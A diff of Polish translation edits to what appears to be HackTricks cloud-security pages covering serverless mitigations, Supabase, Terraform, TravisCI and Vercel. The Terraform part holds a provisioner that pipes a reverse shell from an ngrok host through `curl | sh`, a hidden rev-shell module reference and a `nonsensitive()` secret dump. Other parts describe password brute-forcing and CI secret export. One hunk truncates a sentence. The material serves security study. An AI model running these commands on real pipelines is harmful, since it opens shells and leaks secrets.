- **Walidacja Danych Wejściowych:** Wprowadź ścisłą walidację i sanitację wszystkich danych wejściowych.
|
||||
- **Przeglądy Kodów:** Przeprowadzaj dokładne przeglądy, aby zidentyfikować wady bezpieczeństwa.
|
||||
- **Przeglądy Kodu:** Przeprowadzaj dokładne przeglądy, aby zidentyfikować wady bezpieczeństwa.
|
||||
- **Analiza Statyczna:** Użyj narzędzi do wykrywania luk w kodzie.
|
||||
|
||||
---
|
||||
@@ -635,7 +635,7 @@ method: get
|
||||
authorizer: aws_iam
|
||||
```
|
||||
|
||||
- **Ograniczenie Ruchu i Throttling:** Zapobiegaj nadużyciom, ograniczając szybkość żądań.
|
||||
- **Ograniczenie Ruchu i Throttling:** Zapobiegaj nadużyciom, ograniczając tempo żądań.
|
||||
|
||||
```yaml
|
||||
provider:
|
||||
@@ -673,7 +673,7 @@ Wspólne zasoby i niewystarczająca izolacja mogą prowadzić do eskalacji upraw
|
||||
|
||||
- **Izoluj Funkcje:** Przypisz odrębne zasoby i role IAM, aby zapewnić niezależne działanie.
|
||||
- **Podział Zasobów:** Użyj oddzielnych baz danych lub koszyków do przechowywania dla różnych funkcji.
|
||||
- **Użyj VPC:** Wdrażaj funkcje w Wirtualnych Chmurach Prywatnych dla lepszej izolacji sieci.
|
||||
- **Użyj VPC:** Wdrażaj funkcje w Wirtualnych Prywatnych Chmurach dla lepszej izolacji sieci.
|
||||
|
||||
```yaml
|
||||
provider:
|
||||
@@ -690,7 +690,7 @@ subnetIds:
|
||||
|
||||
### **Niewystarczająca Ochrona Danych**
|
||||
|
||||
Nieszyfrowane dane w spoczynku lub w tranzycie mogą być narażone, prowadząc do naruszeń danych lub manipulacji.
|
||||
Niezaszyfrowane dane w spoczynku lub w tranzycie mogą być narażone, prowadząc do naruszeń danych lub manipulacji.
|
||||
|
||||
#### **Strategie łagodzenia**
|
||||
|
||||
@@ -718,7 +718,7 @@ Szczegółowe komunikaty o błędach mogą ujawniać wrażliwe informacje o infr
|
||||
|
||||
#### **Strategie łagodzenia**
|
||||
|
||||
- **Ogólne Komunikaty o Błędach:** Unikaj ujawniania wewnętrznych szczegółów w odpowiedziach błędów.
|
||||
- **Ogólne Komunikaty o Błędach:** Unikaj ujawniania wewnętrznych szczegółów w odpowiedziach o błędach.
|
||||
|
||||
```javascript
|
||||
javascriptCopy code// Przykład w Node.js
|
||||
@@ -742,20 +742,20 @@ body: JSON.stringify({ message: 'Internal Server Error' }),
|
||||
|
||||
### **Niezabezpieczone Praktyki Wdrażania**
|
||||
|
||||
Ujawione konfiguracje wdrożeniowe lub nieautoryzowany dostęp do pipeline'ów CI/CD mogą prowadzić do złośliwych wdrożeń kodu lub błędnych konfiguracji.
|
||||
Ujawniłe konfiguracje wdrożeniowe lub nieautoryzowany dostęp do pipeline'ów CI/CD mogą prowadzić do złośliwych wdrożeń kodu lub błędnych konfiguracji.
|
||||
|
||||
#### **Strategie łagodzenia**
|
||||
|
||||
- **Zabezpiecz Pipeline'y CI/CD:** Wprowadź ścisłe kontrole dostępu, uwierzytelnianie wieloskładnikowe (MFA) i regularne audyty.
|
||||
- **Przechowuj Konfigurację Bezpiecznie:** Utrzymuj pliki wdrożeniowe wolne od twardo zakodowanych tajemnic i wrażliwych danych.
|
||||
- **Użyj Narzędzi Bezpieczeństwa Infrastruktury jako Kodu (IaC):** Wykorzystaj narzędzia takie jak **Checkov** lub **Terraform Sentinel** do egzekwowania polityk bezpieczeństwa.
|
||||
- **Niezmienność Wdrożeń:** Zapobiegaj nieautoryzowanym zmianom po wdrożeniu, przyjmując praktyki niezmiennej infrastruktury.
|
||||
- **Niezmienne Wdrożenia:** Zapobiegaj nieautoryzowanym zmianom po wdrożeniu, przyjmując praktyki niezmiennej infrastruktury.
|
||||
|
||||
---
|
||||
|
||||
### **Luki w Wtyczkach i Rozszerzeniach**
|
||||
|
||||
Używanie nieweryfikowanych lub złośliwych wtyczek stron trzecich może wprowadzać luki w aplikacjach serverless.
|
||||
Używanie nieweryfikowanych lub złośliwych wtyczek stron trzecich może wprowadzać luki do aplikacji serverless.
|
||||
|
||||
#### **Strategie łagodzenia**
|
||||
|
||||
@@ -774,7 +774,7 @@ Funkcje dostępne publicznie lub nieograniczone API mogą być wykorzystywane do
|
||||
|
||||
- **Ogranicz Dostęp do Funkcji:** Użyj VPC, grup zabezpieczeń i reguł zapory, aby ograniczyć dostęp do zaufanych źródeł.
|
||||
- **Wprowadź Solidne Uwierzytelnianie:** Upewnij się, że wszystkie ujawnione punkty końcowe wymagają odpowiedniego uwierzytelnienia i autoryzacji.
|
||||
- **Bezpiecznie Używaj Bramek API:** Skonfiguruj bramki API, aby egzekwować polityki bezpieczeństwa, w tym walidację danych wejściowych i ograniczenie szybkości.
|
||||
- **Bezpiecznie Używaj Bramek API:** Skonfiguruj bramki API, aby egzekwować polityki bezpieczeństwa, w tym walidację danych wejściowych i ograniczenie tempa.
|
||||
- **Wyłącz Nieużywane Punkty Końcowe:** Regularnie przeglądaj i wyłączaj wszelkie punkty końcowe, które nie są już używane.
|
||||
|
||||
---
|
||||
@@ -803,7 +803,7 @@ Przyznawanie nadmiernych uprawnień członkom zespołu i zewnętrznym współpra
|
||||
2. **Niezabezpieczone Przechowywanie:**
|
||||
- Przechowywanie kluczy w postaci tekstu jawnego w zmiennych środowiskowych lub plikach konfiguracyjnych bez odpowiedniego szyfrowania zwiększa prawdopodobieństwo wycieku.
|
||||
3. **Niewłaściwa Dystrybucja:**
|
||||
- Udostępnianie kluczy przez niezabezpieczone kanały (np. e-mail, czat) może skutkować przechwyceniem przez złośliwych aktorów.
|
||||
- Udostępnianie kluczy przez niezabezpieczone kanały (np. e-mail, czat) może skutkować ich przechwyceniem przez złośliwych aktorów.
|
||||
4. **Brak Rotacji:**
|
||||
- Nieregularna rotacja kluczy wydłuża okres narażenia, jeśli klucze zostaną skompromitowane.
|
||||
5. **Nadmierne Uprawnienia:**
|
||||
|
||||
@@ -15,7 +15,7 @@ Zasadniczo, gdy projekt jest tworzony, użytkownik otrzymuje subdomenę supabase
|
||||
> [!TIP]
|
||||
> **Te dane można uzyskać z linku takiego jak `https://supabase.com/dashboard/project/<project-id>/settings/database`**
|
||||
|
||||
Ta **baza danych** będzie wdrożona w jakimś regionie AWS, a aby się z nią połączyć, można to zrobić, łącząc się z: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (zostało to utworzone w us-west-1).\
|
||||
Ta **baza danych** będzie wdrożona w jakimś regionie AWS, a aby się z nią połączyć, można to zrobić, łącząc się z: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (została utworzona w us-west-1).\
|
||||
Hasło to **hasło, które użytkownik wprowadził** wcześniej.
|
||||
|
||||
Dlatego, ponieważ subdomena jest znana i jest używana jako nazwa użytkownika, a regiony AWS są ograniczone, może być możliwe, aby spróbować **brute force hasła**.
|
||||
@@ -33,7 +33,7 @@ Ta sekcja zawiera również opcje do:
|
||||
> [!TIP]
|
||||
> **Te dane można uzyskać z linku takiego jak `https://supabase.com/dashboard/project/<project-id>/settings/api`**
|
||||
|
||||
URL do uzyskania dostępu do API supabase w Twoim projekcie będzie wyglądał jak: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
|
||||
URL do uzyskania dostępu do API supabase w Twoim projekcie będzie wyglądał tak: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
|
||||
|
||||
### anon klucze API
|
||||
|
||||
@@ -138,7 +138,7 @@ Możliwe jest ustawienie SMTP do wysyłania e-maili.
|
||||
### Ustawienia zaawansowane
|
||||
|
||||
- Ustaw czas wygaśnięcia dla tokenów dostępu (3600 domyślnie)
|
||||
- Ustaw wykrywanie i unieważnianie potencjalnie skompromitowanych tokenów odświeżania i czas oczekiwania
|
||||
- Ustaw wykrywanie i unieważnianie potencjalnie skompromitowanych tokenów odświeżania oraz czas oczekiwania
|
||||
- MFA: Wskaź, ile czynników MFA może być zarejestrowanych jednocześnie na użytkownika (10 domyślnie)
|
||||
- Maksymalna liczba bezpośrednich połączeń z bazą danych: Maksymalna liczba połączeń używanych do uwierzytelniania (10 domyślnie)
|
||||
- Maksymalny czas trwania żądania: Maksymalny czas, jaki może trwać żądanie uwierzytelnienia (10s domyślnie)
|
||||
@@ -146,7 +146,7 @@ Możliwe jest ustawienie SMTP do wysyłania e-maili.
|
||||
## Przechowywanie
|
||||
|
||||
> [!TIP]
|
||||
> Supabase pozwala **przechowywać pliki** i udostępniać je za pośrednictwem URL (używa koszyków S3).
|
||||
> Supabase pozwala **przechowywać pliki** i udostępniać je przez URL (używa koszyków S3).
|
||||
|
||||
- Ustaw limit rozmiaru pliku do przesłania (domyślnie 50MB)
|
||||
- Połączenie S3 jest podawane za pomocą URL, takiego jak: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
[Z dokumentacji:](https://developer.hashicorp.com/terraform/intro)
|
||||
|
||||
HashiCorp Terraform to **narzędzie infrastruktury jako kod**, które pozwala definiować zarówno **zasoby w chmurze, jak i lokalne** w czytelnych dla człowieka plikach konfiguracyjnych, które można wersjonować, ponownie używać i udostępniać. Możesz następnie używać spójnego przepływu pracy do provisionowania i zarządzania całą swoją infrastrukturą przez cały jej cykl życia. Terraform może zarządzać komponentami niskiego poziomu, takimi jak zasoby obliczeniowe, pamięci masowej i sieciowe, a także komponentami wysokiego poziomu, takimi jak wpisy DNS i funkcje SaaS.
|
||||
HashiCorp Terraform to **narzędzie infrastruktury jako kod**, które pozwala definiować zarówno **zasoby w chmurze, jak i lokalne** w czytelnych dla człowieka plikach konfiguracyjnych, które można wersjonować, ponownie używać i udostępniać. Możesz następnie użyć spójnego przepływu pracy do provisionowania i zarządzania całą swoją infrastrukturą przez cały jej cykl życia. Terraform może zarządzać komponentami niskiego poziomu, takimi jak zasoby obliczeniowe, pamięci masowej i sieciowe, a także komponentami wysokiego poziomu, takimi jak wpisy DNS i funkcje SaaS.
|
||||
|
||||
#### Jak działa Terraform?
|
||||
|
||||
@@ -91,7 +91,7 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module
|
||||
```
|
||||
Możesz znaleźć kod rev shell w [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
- W zewnętrznym zasobie użyj funkcji **ref**, aby ukryć **kod rev shell Terraform w gałęzi** wewnątrz repozytorium, coś w stylu: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- W zewnętrznym zasobie użyj funkcji **ref**, aby ukryć **kod terraform rev shell w gałęzi** wewnątrz repo, coś w stylu: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
|
||||
### Terraform Apply
|
||||
|
||||
@@ -112,11 +112,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
Postępuj zgodnie z **zaleceniami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej ukryty sposób, korzystając z zewnętrznych odniesień**.
|
||||
Postępuj zgodnie z **zaleceniami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej ukryty sposób, używając zewnętrznych odniesień**.
|
||||
|
||||
## Zrzuty sekretów
|
||||
|
||||
Możesz uzyskać **zrzuty tajnych wartości używanych przez terraform**, uruchamiając `terraform apply`, dodając do pliku terraform coś takiego:
|
||||
Możesz uzyskać **zrzut wartości sekretów używanych przez terraform**, uruchamiając `terraform apply`, dodając do pliku terraform coś takiego:
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
@@ -124,13 +124,13 @@ value = nonsensitive(var.do_token)
|
||||
```
|
||||
## Wykorzystywanie plików stanu Terraform
|
||||
|
||||
W przypadku, gdy masz dostęp do zapisu plików stanu terraform, ale nie możesz zmienić kodu terraform, [**to badanie**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) oferuje kilka interesujących opcji, aby skorzystać z pliku:
|
||||
W przypadku, gdy masz dostęp do zapisu plików stanu terraform, ale nie możesz zmienić kodu terraform, [**te badania**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) oferują kilka interesujących opcji, aby skorzystać z pliku:
|
||||
|
||||
### Usuwanie zasobów <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
|
||||
Istnieją 2 sposoby na zniszczenie zasobów:
|
||||
|
||||
1. **Wstaw zasób o losowej nazwie do pliku stanu wskazującego na rzeczywisty zasób do zniszczenia**
|
||||
1. **Wstaw zasób o losowej nazwie do pliku stanu wskazujący na rzeczywisty zasób do zniszczenia**
|
||||
|
||||
Ponieważ terraform zobaczy, że zasób nie powinien istnieć, zniszczy go (zgodnie z rzeczywistym identyfikatorem zasobu wskazanym). Przykład z poprzedniej strony:
|
||||
```json
|
||||
@@ -195,7 +195,7 @@ Snyk oferuje kompleksowe rozwiązanie do skanowania Infrastructure as Code (IaC)
|
||||
- **Funkcje:**
|
||||
- Skanowanie w czasie rzeczywistym w poszukiwaniu luk w zabezpieczeniach i problemów z zgodnością.
|
||||
- Integracja z systemami kontroli wersji (GitHub, GitLab, Bitbucket).
|
||||
- Automatyczne prośby o poprawki.
|
||||
- Automatyczne pull requesty z poprawkami.
|
||||
- Szczegółowe porady dotyczące usuwania problemów.
|
||||
- **Zarejestruj się:** Utwórz konto na [Snyk](https://snyk.io/).
|
||||
```bash
|
||||
@@ -217,17 +217,17 @@ checkov -d /path/to/folder
|
||||
```
|
||||
### [terraform-compliance](https://github.com/terraform-compliance/cli)
|
||||
|
||||
Z [**dokumentacji**](https://github.com/terraform-compliance/cli): `terraform-compliance` to lekkie, skoncentrowane na bezpieczeństwie i zgodności ramy testowe dla terraform, które umożliwiają negatywne testowanie twojej infrastruktury jako kodu.
|
||||
Z [**dokumentacji**](https://github.com/terraform-compliance/cli): `terraform-compliance` to lekkie, skoncentrowane na bezpieczeństwie i zgodności ramy testowe dla terraform, umożliwiające negatywne testowanie twojej infrastruktury jako kodu.
|
||||
|
||||
- **zgodność:** Upewnij się, że wdrożony kod przestrzega standardów bezpieczeństwa oraz twoich własnych standardów
|
||||
- **rozwój oparty na zachowaniu:** Mamy BDD prawie dla wszystkiego, dlaczego nie dla IaC?
|
||||
- **przenośność:** wystarczy zainstalować z `pip` lub uruchomić za pomocą `docker`. Zobacz [Instalacja](https://terraform-compliance.com/pages/installation/)
|
||||
- **przenośny:** wystarczy zainstalować go z `pip` lub uruchomić za pomocą `docker`. Zobacz [Instalacja](https://terraform-compliance.com/pages/installation/)
|
||||
- **przed wdrożeniem:** waliduje twój kod przed jego wdrożeniem
|
||||
- **łatwość integracji:** może działać w twoim pipeline (lub w git hooks), aby zapewnić, że wszystkie wdrożenia są walidowane.
|
||||
- **segregacja obowiązków:** możesz przechowywać swoje testy w innym repozytorium, gdzie odpowiedzialny jest oddzielny zespół.
|
||||
- **łatwy do zintegrowania:** może działać w twoim pipeline (lub w git hooks), aby zapewnić, że wszystkie wdrożenia są walidowane.
|
||||
- **segregacja obowiązków:** możesz przechowywać swoje testy w innym repozytorium, gdzie odpowiedzialny jest osobny zespół.
|
||||
|
||||
> [!NOTE]
|
||||
> Niestety, jeśli kod korzysta z niektórych dostawców, do których nie masz dostępu, nie będziesz mógł wykonać `terraform plan` i uruchomić to narzędzie.
|
||||
> Niestety, jeśli kod korzysta z niektórych dostawców, do których nie masz dostępu, nie będziesz mógł wykonać `terraform plan` i uruchomić tego narzędzia.
|
||||
```bash
|
||||
pip install terraform-compliance
|
||||
terraform plan -out=plan.out
|
||||
@@ -244,8 +244,8 @@ Z [**dokumentacji**](https://github.com/aquasecurity/tfsec): tfsec wykorzystuje
|
||||
- ↪️ Ocenia funkcje Terraform, np. `concat()`
|
||||
- 🔗 Ocenia relacje między zasobami Terraform
|
||||
- 🧰 Kompatybilny z Terraform CDK
|
||||
- 🙅 Zastosowuje (i wzbogaca) zdefiniowane przez użytkownika polityki Rego
|
||||
- 📃 Obsługuje wiele formatów wyjściowych: lovely (domyślny), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif.
|
||||
- 🙅 Zastosowuje (i upiększa) zdefiniowane przez użytkownika polityki Rego
|
||||
- 📃 Obsługuje wiele formatów wyjściowych: piękny (domyślny), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif.
|
||||
- 🛠️ Konfigurowalny (za pomocą flag CLI i/lub pliku konfiguracyjnego)
|
||||
- ⚡ Bardzo szybki, zdolny do szybkiego skanowania ogromnych repozytoriów
|
||||
```bash
|
||||
@@ -256,7 +256,7 @@ tfsec /path/to/folder
|
||||
|
||||
Znajdź luki w zabezpieczeniach, problemy z zgodnością i błędy w konfiguracji infrastruktury na wczesnym etapie cyklu rozwoju twojej infrastruktury jako kodu z **KICS** od Checkmarx.
|
||||
|
||||
**KICS** oznacza **K**eeping **I**nfrastructure as **C**ode **S**ecure, jest to projekt open source i jest niezbędny dla każdego projektu natywnego w chmurze.
|
||||
**KICS** oznacza **K**eeping **I**nfrastructure as **C**ode **S**ecure, jest to projekt open source i jest niezbędny dla każdego projektu opartego na chmurze.
|
||||
```bash
|
||||
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
|
||||
```
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Proszę o zgłoszenia PR na Githubie wyjaśniające, jak (nadużywać) tych platform z perspektywy atakującego
|
||||
PR-y na Githubie są mile widziane, wyjaśniające, jak (nadużywać) tych platform z perspektywy atakującego
|
||||
|
||||
- Drone
|
||||
- TeamCity
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Czym jest TravisCI
|
||||
|
||||
**Travis CI** to **hostowana** lub na **miejscu** usługa **ciągłej integracji** używana do budowania i testowania projektów oprogramowania hostowanych na kilku **różnych platformach git**.
|
||||
**Travis CI** to **hostowana** lub na **miejscu** usługa **ciągłej integracji**, używana do budowania i testowania projektów oprogramowania hostowanych na kilku **różnych platformach git**.
|
||||
|
||||
{{#ref}}
|
||||
basic-travisci-information.md
|
||||
@@ -20,33 +20,33 @@ Aby przeprowadzić atak, najpierw musisz wiedzieć, jak wyzwolić budowę. Domy
|
||||
|
||||
#### Zadania Cron
|
||||
|
||||
Jeśli masz dostęp do aplikacji internetowej, możesz **ustawić zadania cron do uruchamiania budowy**, co może być przydatne do utrzymania lub wyzwolenia budowy:
|
||||
Jeśli masz dostęp do aplikacji webowej, możesz **ustawić zadania cron do uruchamiania budowy**, co może być przydatne do utrzymania lub wyzwolenia budowy:
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> Wygląda na to, że nie można ustawić zadań cron w pliku `.travis.yml` zgodnie z [tym](https://github.com/travis-ci/travis-ci/issues/9162).
|
||||
|
||||
### PR zewnętrznych podmiotów
|
||||
### PR zewnętrznych
|
||||
|
||||
TravisCI domyślnie wyłącza udostępnianie zmiennych środowiskowych z PR pochodzących od zewnętrznych podmiotów, ale ktoś może to włączyć, a wtedy możesz stworzyć PR do repozytorium i wyeksportować sekrety:
|
||||
TravisCI domyślnie wyłącza udostępnianie zmiennych środowiskowych z PR pochodzących od osób trzecich, ale ktoś może to włączyć, a wtedy możesz stworzyć PR do repozytorium i wyeksportować sekrety:
|
||||
|
||||
.png>)
|
||||
|
||||
### Zrzucanie sekretów
|
||||
|
||||
Jak wyjaśniono na stronie [**podstawowe informacje**](basic-travisci-information.md), istnieją 2 typy sekretów. **Sekrety zmiennych środowiskowych** (które są wymienione na stronie internetowej) oraz **niestandardowe zaszyfrowane sekrety**, które są przechowywane w pliku `.travis.yml` jako base64 (zauważ, że oba, jako przechowywane zaszyfrowane, będą kończyć jako zmienne środowiskowe na końcowych maszynach).
|
||||
Jak wyjaśniono na stronie [**podstawowe informacje**](basic-travisci-information.md), istnieją 2 typy sekretów. **Sekrety zmiennych środowiskowych** (które są wymienione na stronie internetowej) oraz **niestandardowe zaszyfrowane sekrety**, które są przechowywane w pliku `.travis.yml` jako base64 (zauważ, że oba, jako przechowywane zaszyfrowane, będą kończyć jako zmienne środowiskowe na finalnych maszynach).
|
||||
|
||||
- Aby **wyliczyć sekrety** skonfigurowane jako **zmienne środowiskowe**, przejdź do **ustawień** **projektu** i sprawdź listę. Należy jednak pamiętać, że wszystkie zmienne środowiskowe projektu ustawione tutaj pojawią się przy wyzwalaniu budowy.
|
||||
- Aby **wyliczyć sekrety** skonfigurowane jako **zmienne środowiskowe**, przejdź do **ustawień** projektu i sprawdź listę. Zauważ jednak, że wszystkie zmienne środowiskowe projektu ustawione tutaj pojawią się przy wyzwalaniu budowy.
|
||||
- Aby wyliczyć **niestandardowe zaszyfrowane sekrety**, najlepiej jest **sprawdzić plik `.travis.yml`**.
|
||||
- Aby **wyliczyć zaszyfrowane pliki**, możesz sprawdzić **pliki `.enc`** w repozytorium, linie podobne do `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` w pliku konfiguracyjnym, lub **zaszyfrowane iv i klucze** w **zmiennych środowiskowych** takich jak:
|
||||
- Aby **wyliczyć zaszyfrowane pliki**, możesz sprawdzić **pliki `.enc`** w repozytorium, linie podobne do `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` w pliku konfiguracyjnym, lub **zaszyfrowane iv i klucze** w **zmiennych środowiskowych**, takich jak:
|
||||
|
||||
.png>)
|
||||
|
||||
### TODO:
|
||||
|
||||
- Przykład budowy z działającym reverse shellem na Windows/Mac/Linux
|
||||
- Przykład budowy wyciekającej zmienną środowiskową zakodowaną w base64 w logach
|
||||
- Przykład budowy wyciekającej zmienne środowiskowe zakodowane w base64 w logach
|
||||
|
||||
### TravisCI Enterprise
|
||||
|
||||
@@ -55,9 +55,9 @@ Jeśli atakujący znajdzie się w środowisku, które używa **TravisCI enterpri
|
||||
- uciec do hosta?
|
||||
- skompromitować kubernetes?
|
||||
- skompromitować inne maszyny działające w tej samej sieci?
|
||||
- skompromitować nowe poświadczenia chmurowe?
|
||||
- skompromitować nowe dane uwierzytelniające w chmurze?
|
||||
|
||||
## Odniesienia
|
||||
## Referencje
|
||||
|
||||
- [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/)
|
||||
- [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
|
||||
|
||||
@@ -10,28 +10,12 @@ Na przykład, w Github poprosi o następujące uprawnienia:
|
||||
|
||||
- `user:email` (tylko do odczytu)
|
||||
- `read:org` (tylko do odczytu)
|
||||
- `repo`: Przyznaje dostęp do odczytu i zapisu do kodu, statusów commitów, współpracowników i statusów wdrożeń dla publicznych i prywatnych repozytoriów oraz organizacji.
|
||||
|
||||
## Szyfrowane sekrety
|
||||
|
||||
### Zmienne środowiskowe
|
||||
|
||||
W TravisCI, podobnie jak w innych platformach CI, możliwe jest **zapisywanie na poziomie repozytorium sekretów**, które będą zapisywane w formie zaszyfrowanej i będą **odszyfrowywane i przesyłane do zmiennej środowiskowej** maszyny wykonującej budowę.
|
||||
|
||||
.png>)
|
||||
|
||||
Możliwe jest wskazanie **gałęzi, do których sekrety będą dostępne** (domyślnie wszystkie) oraz czy TravisCI **powinien ukryć ich wartość**, jeśli pojawi się **w logach** (domyślnie tak).
|
||||
|
||||
### Niestandardowe szyfrowane sekrety
|
||||
|
||||
Dla **każdego repozytorium** TravisCI generuje **parę kluczy RSA**, **przechowuje** klucz **prywatny** i udostępnia **klucz publiczny** repozytorium tym, którzy mają **dostęp** do repozytorium.
|
||||
|
||||
Możesz uzyskać dostęp do klucza publicznego jednego repozytorium za pomocą:
|
||||
- `repo`: Przyznaje dostęp do odczytu i zapisu do
|
||||
```
|
||||
travis pubkey -r <owner>/<repo_name>
|
||||
travis pubkey -r carlospolop/t-ci-test
|
||||
```
|
||||
Następnie możesz użyć tej konfiguracji do **szyfrowania sekretów i dodawania ich do swojego `.travis.yaml`**. Sekrety będą **odszyfrowane, gdy budowa będzie uruchamiana** i dostępne w **zmiennych środowiskowych**.
|
||||
Następnie możesz użyć tej konfiguracji do **szyfrowania sekretów i dodawania ich do swojego `.travis.yaml`**. Sekrety będą **odszyfrowane, gdy budowa zostanie uruchomiona** i dostępne w **zmiennych środowiskowych**.
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -39,7 +23,7 @@ Zauważ, że sekrety szyfrowane w ten sposób nie będą widoczne na liście w z
|
||||
|
||||
### Niestandardowe Szyfrowane Pliki
|
||||
|
||||
Tak jak wcześniej, TravisCI również pozwala na **szyfrowanie plików, a następnie odszyfrowywanie ich podczas budowy**:
|
||||
W ten sam sposób, co wcześniej, TravisCI również pozwala na **szyfrowanie plików, a następnie odszyfrowywanie ich podczas budowy**:
|
||||
```
|
||||
travis encrypt-file super_secret.txt -r carlospolop/t-ci-test
|
||||
|
||||
@@ -81,7 +65,7 @@ Travis CI Enterprise to **wersja on-prem Travis CI**, którą możesz wdrożyć
|
||||
1. Infrastruktury, w której można wdrożyć obraz docker zawierający **Worker i powiązany obraz budowy**.
|
||||
2. Łączności z niektórymi komponentami Travis CI Core Services - zobacz [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) po więcej szczegółów.
|
||||
|
||||
Liczba wdrożonych obrazów TCI Worker i środowiska budowy OS określi całkowitą równoległą pojemność wdrożenia Travis CI Enterprise w twojej infrastrukturze.
|
||||
Liczba wdrożonych Worker TCI i obrazów systemu operacyjnego środowiska budowy określi całkowitą równoległą pojemność wdrożenia Travis CI Enterprise w twojej infrastrukturze.
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
@@ -99,7 +99,7 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
|
||||
|
||||
- **Niebezpieczne integracje zewnętrzne**
|
||||
- **Błąd w konfiguracji:** Integracja z nieufnymi lub niebezpiecznymi usługami zewnętrznymi.
|
||||
- **Ryzyko:** Wprowadzenie luk w zabezpieczeniach, wyciek danych lub tylne drzwi przez skompromitowane integracje.
|
||||
- **Ryzyko:** Wprowadzenie luk w zabezpieczeniach, wycieków danych lub tylnej furtki przez skompromitowane integracje.
|
||||
- **Nadmierne uprawnienia integracji**
|
||||
- **Błąd w konfiguracji:** Przyznawanie nadmiernych uprawnień zintegrowanym usługom.
|
||||
- **Ryzyko:** Nieautoryzowany dostęp do zasobów projektu, manipulacja danymi lub zakłócenia usług.
|
||||
@@ -111,7 +111,7 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
|
||||
|
||||
### Ochrona wdrożeń
|
||||
|
||||
**Cel:** Zabezpieczenie wdrożeń poprzez różne mechanizmy ochrony, kontrolując, kto może uzyskać dostęp i wdrażać do twoich środowisk.
|
||||
**Cel:** Zabezpieczenie wdrożeń poprzez różne mechanizmy ochrony, kontrolując, kto może uzyskać dostęp i wdrażać w twoich środowiskach.
|
||||
|
||||
#### Konfiguracje zabezpieczeń:
|
||||
|
||||
@@ -213,7 +213,7 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
|
||||
**Ochrona forka Git**
|
||||
|
||||
- **Błąd w konfiguracji:** Umożliwienie nieautoryzowanych pull requestów bez odpowiednich przeglądów.
|
||||
- **Ryzyko:** Złośliwy kod może zostać scalony z bazą kodu, wprowadzając luki w zabezpieczeniach lub tylne drzwi.
|
||||
- **Ryzyko:** Złośliwy kod może zostać scalony z kodem źródłowym, wprowadzając luki w zabezpieczeniach lub tylne furtki.
|
||||
|
||||
**Bezpieczny dostęp do backendu z OIDC Federation**
|
||||
|
||||
@@ -222,7 +222,7 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
|
||||
|
||||
**Polityka przechowywania wdrożeń**
|
||||
|
||||
- **Błąd w konfiguracji:** Ustawienie okresów przechowywania zbyt krótkich (utrata historii wdrożeń) lub zbyt długich (niepotrzebne przechowywanie danych).
|
||||
- **Błąd w konfiguracji:** Ustawienie zbyt krótkich okresów przechowywania (utrata historii wdrożeń) lub zbyt długich (niepotrzebne przechowywanie danych).
|
||||
- **Ryzyko:** Niemożność wykonania rollbacków w razie potrzeby lub zwiększone ryzyko ujawnienia danych z starych wdrożeń.
|
||||
|
||||
**Ostatnio usunięte wdrożenia**
|
||||
@@ -234,7 +234,7 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
|
||||
|
||||
### Zaawansowane
|
||||
|
||||
**Cel:** Dostęp do dodatkowych ustawień projektu w celu precyzyjnego dostosowania konfiguracji i zwiększenia bezpieczeństwa.
|
||||
**Cel:** Dostęp do dodatkowych ustawień projektu w celu dostosowania konfiguracji i zwiększenia bezpieczeństwa.
|
||||
|
||||
#### Konfiguracje zabezpieczeń:
|
||||
|
||||
@@ -317,7 +317,7 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
|
||||
|
||||
### Grupy dostępu
|
||||
|
||||
**Grupa dostępu** w Vercel to zbiór projektów i członków zespołu z przypisanymi z góry rolami, co umożliwia centralne i uproszczone zarządzanie dostępem w wielu projektach.
|
||||
